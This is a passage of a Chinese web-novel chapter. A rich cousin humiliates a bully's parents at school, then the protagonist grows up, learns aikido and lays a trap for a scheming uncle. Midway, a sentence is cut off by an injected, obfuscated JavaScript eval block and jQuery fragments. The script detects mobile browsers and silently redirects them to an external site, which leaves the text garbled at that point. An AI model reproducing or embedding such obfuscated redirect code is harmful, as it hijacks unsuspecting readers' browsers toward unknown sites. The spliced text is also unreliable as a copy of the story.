陈爻惊讶:“表、表哥?”
来人是隗善,他还穿着初中部的校服,却不知怎么回事,丑丑的紫红运动款,他竟穿得像潮牌一样,随意时髦又帅气。
“你爸妈出国参加能源峰会呢,大忙人没空来,我来看看怎么回事儿。”隗善皱眉看着陈爻,转头就凶班主任,“你们学校办不下去就关门!这种惹是生非的学生也招?让他退学!”
班主任:“……”
小胖妈一口气梗住,他讲的都是我的词啊!
“你是谁?怎么来个学生处理事情?陈爻家的大人呢?”她尖声质问。
隗善拉过椅子,大剌剌坐下,翘起腿问:“你知道草履虫为什么进化吗?”
小胖妈措手不及:“什么乱七八糟的。”
“哇,连草履虫都没听过,你不会初中都没毕业吧?”隗善自问自答,“告诉你吧,当然是因为它不想和某些人一样,几十亿年了,连个脑子都没进化出来。算了,你肯定听不懂,简而言之,铲狗屎不需要听懂狗叫,这个比喻粗俗,配你,应该听得懂吧?”
“无法无天!岂有此理!”小胖妈气得身体发抖。
“嗯,还会两个成语,看来小学毕业了,估计比你儿子文凭强一点。”他说完,朝陈爻眨了下眼,笑得戏谑。
小胖妈挪动身子,气急拨通电话:“老于!你快过来,有人欺负你老婆儿子!简直没天理了!”
说完恶狠狠瞪着他们:“你等着!小屁孩,我懒得搭理你!”
隗善坐着给女朋友发微信,满脸春样,根本没听见小胖妈的威胁。
“什么大人物啊,来了没哦。”他头也不抬,懒洋洋拖长声音,“我等着约会呢,很急的。”
没过多久,一个身材魁梧的男人推门进来,一个人有隗善三个宽,往那儿一站,整个办公室都显得挤了几分。
隗善一直不说话,小胖妈以为他害怕了,洋洋得意:“一个爹妈都不管的野孩子,还不是就这点本事。”
其实隗善不出声,是因为他正仔细辨认着小胖爸工装上的logo,越看越熟悉,这不是瑞孚的logo吗?
陈家的柯木能源,去年并购了“瑞孚精密制造”,小胖爸正是瑞孚旗下一个第三方配件代工厂的生产线员工。
看到隗善也开始打电话,小胖妈不屑一顾:“总算怕了,神气什么,还不是一样要叫人。”
谁知隗善电话刚一接通,就捏起嗓子,挤眉弄眼、矫揉造作,一听都能听出是在学小胖妈说话。
“张厂长~你快来,有人要欺负你老板的老板的老板的孩子!没天理了啊啊啊!”
小胖妈脸色骤变:“张、张厂长?”
隗善挂掉电话,脸上夸张的笑意瞬间褪去,眼底冷得吓人:“要不,你儿子退学,要不,你老公失业。二选一,我已经对你很宽容了。”
小胖妈还要争辩什么。
“现在还有的选,一分钟后就没得选了,快点选。”他重重一拍桌子,声音陡然拔高,“你耳朵聋了吗,快点选!我赶时间!”
小胖妈站起来,腿一软,直接瘫坐在地上:“大家都听到了吗!谁来评评理啊!资本家不做人啦!哎哟,我血压上来了!赶快打120!”
隗善靠回椅背,反而不着急了,声音堪称轻柔:“时间到,已经给过你机会了。”
“打吧,快打120,快去住院,你住院我出钱。把你气进医院一万次的钱我也出得起,我的钱包纹丝不动,就是不知道你的身体受不受得住。”
“你说,我要是一步到位,直接把你气死了,”隗善眼睛一亮,像是发现什么有意思的事情,“这些钱给你儿子多好,他一定会很开心,开心到认我做爹呢。”
“你、你……”小胖妈胆战心惊,第一次感觉到害怕,“胡说八道!”
“你儿子什么德行你不知道吗,他啊,有奶便是娘,有钱便是爹咯~”
隗善:“唉,小胖子,明天不上学,带你去迪士尼玩,好不好?”
小胖子:“真的吗?”
“当然啊,以后都不用上学了。”
“太好了!”
隗善:“叫爸爸。”
小胖子:“爸爸。”
小胖妈眼睛一翻,这回真气晕过去。
小胖爸脸色惨白,总算反应过来,连忙躬身道:“我们错了,我我我替她道歉!”
隗善三分钟没回女朋友消息了,赶紧哄人,没正眼看他:“你别跪,我要脸。”
小胖爸半屈的膝盖生生僵在半空。
“给你儿子办转学手续。我没空跟你争那么一玩意儿的爹,他退学,你的工作我不会干涉,刚刚张厂长可是跟我说了不少你的好话。好好干,年末有提成。”
小胖爸一喜,几乎不敢相信:“真的吗!”
隗善终于收起手机,瞥他一眼:“真不真我说的不算,看你表现。”
“阿爻,”隗善转身,弯下腰,“今天欺负你最狠的人,你再也不会看到他了。”
陈爻没说话,点头。
门外围观的同班小孩,有人觉得隗善好帅,有人瑟瑟发抖,毕竟他们或多或少都欺负陈爻了。
隗善目光扫过门外,声音不高,却清晰地传了出去:“其他人我们不追究,大家都不容易,不过,你记不记得谁帮过你?”
陈爻想了想:“我只记得谁没有掰我的油画棒。”
隗善:……这孩子听得也太可怜了吧。
隗善:“好,那些没有掰你油画棒的朋友,我们请他们来参加你生日宴好不好?这就叫‘你敬我一尺,我敬你一丈’。”
陈爻:“好。”
……
陈爻的行事风格,一半学自他这个凌厉抽象的哥,另一半耳濡目染自笑面虎陈董。
所以他看起来温润、谦和、有礼貌,实际社会、社会,还是社会。
这天晚上跟隗善回家后,陈爻就提出自己想学武术,这是他第一次开口求隗善什么。
隗善沉默了片刻,他实在不忍说破,就陈爻现在这身子,连正常走路都吃力,还谈什么练武?
但是他也理解,男人嘛,说破天,无非是那点无聊的竞争心和自尊作祟。
见陈爻眼神执拗得发亮,隗善只好妥协:“好好好,带你学个适合你的。”
正好有朋友开道馆,隗善带陈爻学了合气道,毕竟在他看来,这玩意儿一点杀伤力都没有,两个人滚来滚去也不知道干什么。正好让陈爻没事滚一滚,反正他也不会走路。
他一本正经鼓励着:“这个很厉害的,你好好学,以后以柔克刚,绝对不会比别人差。”
最开始那段时间,陈爻每天都摔得一身青紫,朋友私下跟隗善说:“他这底子都不是差,是根本没有底子。大街上随便抓一个人,至少都可以保证能站稳,而不是平地摔吧?”
隗善反手塞给对方一沓钱:“理解理解、体谅体谅?”
朋友顿时肃然立正:“你放心!我不会放过任何一个练武奇才!”
又过两年,朋友激动找到隗善:“没准你弟真是一个练武奇才!”
隗善:???
他再去道馆的那年,陈爻十一岁,身子悄然抽条,动作间已隐约有了清韧的轮廓。
只见他三两下便将对手轻巧制住,随即又像是有些过意不去,赶忙伸手将对方拉起来,低声道歉。
行礼时,陈爻背脊笔直、姿态端正,眉目间却是一片温润澄明,早已褪去了幼时的怯懦和阴郁。
隗善忍不住吹了声口哨:“真是男大十八变啊!”
朋友在一旁解释道:“他的身体条件你是知道的,我觉得他现在这么厉害,主要还是悟性极高,一点就通。”
隗善也感慨着:“可能任何事情做到最后,都是靠悟性吧。”
朋友:“他打算走这条路吗?如果坚持下去,将来前途不可限量啊!”
隗善挑眉:“怎么可能,人家柯木少爷!嘶,不过也没准,玩呗,比赛要是失败了还能回家继承万亿家产。”
隗善看到陈爻小跑过来,他额发微湿,眼眸明亮,整个人披着一层朝气勃勃的光晕。
汗水沿着他下颌滑落,在阳光下细碎铺叠,大约是觉得不太好意思,陈爻转身擦了汗才过来,乖巧开口:“表哥,你来了。”
陈爻的风评极好,尤其作为有钱人家的大少爷,还能如此谦逊有礼,简直是照着“完美继承人”的模板长的。
隗善自然知道陈爻是装的,毕竟,陈家怎么可能出真善茬?
最开始看到自己弟弟变得这么装,他还会说,“切,小屁孩装模作样”。
直到有一天,隗善发现陈爻的“装好”,不是为了“装”,而是为了“自己好”。
对陈爻而言,装不再是目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264651|181782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,而变成了手段,他总能四两拨千斤,通过“装”达成自己的目的。那天隗善才第一次由衷感慨,“哇,自家弟弟长大了”。
陈爻大多时候的确很有陈家人的风范,一样深沉缜密、出手果决,甚至阴险狡诈。
但偶尔,他仍旧会流露出一点近乎天真的东西,或者说,一点“善”。
隗善开玩笑:“你名字里那个‘爻’字那么凶,该给我用才对;我这‘善’字倒该给你,你比我善。”
陈爻坐着刷题:“不用,‘爻’字笔画简单。”
隗善不明所以:“?所以呢?”
陈爻一脸认真:“所以相比你的名字,我这个字考试时可以节约三秒钟。”
隗善张大嘴巴:“你认真的吗?”这是人话吗?
陈爻挥挥手,示意自己要学习了,别在这儿碍事。
……
水龙头关闭,花洒声戛然而止。
不知道其他人是否也如此,年纪越大,越觉得童年的记忆像是别人的故事。
现在陈爻再回想那段时光,心中泛起的并非什么耻辱或者愤怒,而是一种麻木。
他怎么会害怕那个小胖子呢?又为什么会畏惧陈妈妈?
陈爻拿起吹风机,镜中映出一张温润无害的脸。
他从不觉得自己心存多少良善。陈叔自以为可以翻盘,却不知那个“盘”也是假的,是陈爻耗费巨大心力,为他量身打造的陷阱。
陈爻本身不打算亲自对陈叔出手。
谁知陈叔竟揪住严卉君的事,要大做文章,打算把这件事包装成商业武器。
要知道,在IPO审核的关键阶段,任何重大诉讼、或者负面舆情,都可能影响上市计划。
严卉君这件事与陈叔自己没什么利益牵扯,他纯粹是要借刀杀人,自己死,也要拖着柯木上不了市给他陪葬。
陈爻其实对公司能不能成功上市,没有太多执念。
在他看来,家里的钱已经几辈子花不完了。但一山更比一山高,陈董人生的乐趣就在于不断攀登、做大做强,他绝不可能在这时收手。
而陈爻真正害怕的,是这场风波会再次撕裂李家的伤口,将他们卷入无妄之灾。
人不能无耻到这种地步。
要是这件事又一次打搅到他们的生活,陈爻会觉得自己连畜生都不如。
陈叔现在的目的不是置柯木于死地吗?但人心终究是贪婪的。
陈叔最初所能想到的最好结局,不过是背后阴一招,拖慢柯木上市。可若他有机会,以极低的价格抄底柯木,并将昔日高高在上的陈川穹踩在脚下,他怎么可能拒绝这样的诱惑?
他太懂陈叔了。
于是,陈爻不动声色布下这个局。
其实设套成功的秘诀不在于高明与否,而在于是否量身定制。
果然,陈叔笑呵呵地就跳进来了,丝毫不怀疑背后是不是有问题。
真是蠢得可笑。
太无趣了,那就干脆榨干陈叔最后一点剩余价值吧。
头发吹干,陈爻随手套上一件浅灰色卫衣。
窗外正值春日,阳光澄澈透亮,新生绿叶在微风里柔软摇曳。这件烟灰调的卫衣穿起来很合适,衬得他肤色愈发清透,整个人浸在一种干净、青葱的少年气里。
只是他的眼神不对。
镜中的那双眼睛,带着厌世、带着疲倦,还有一层洗不掉的阴谋算计。
那根本不该是一个少年人正常的眼神。
陈爻叹口气,出门时顺路在楼下的杂货店买了一副黑框眼镜,戴上之后,锐利疲倦顿时被掩去大半。整个人显得斯文、低调、又乖。
他自行车骑得实在不怎么样,于是挤上公交车,赶去竞赛小组第一次见面地点。
“陈哥?”谁在叫他,声音谈不上熟悉,但陈爻还是转过头,看向声音的源头。
竟然是李小朗,李昒茸的蠢弟弟。
他本是极度厌蠢的,但是既然是李家弟弟,那便自动带上百米厚的滤镜,蠢也蠢得可爱。
陈爻弯起眼睛:“好巧啊,你去哪里?”
说话间,不自觉目光搜寻,李小朗在这儿,李昒茸是不是也在附近?
“别看了,我姐不在。”李小朗傻兮兮道。
陈爻心下一惊,不开玩笑,他今天处理了很多棘手的事,这是第一次冷汗渗出脊背。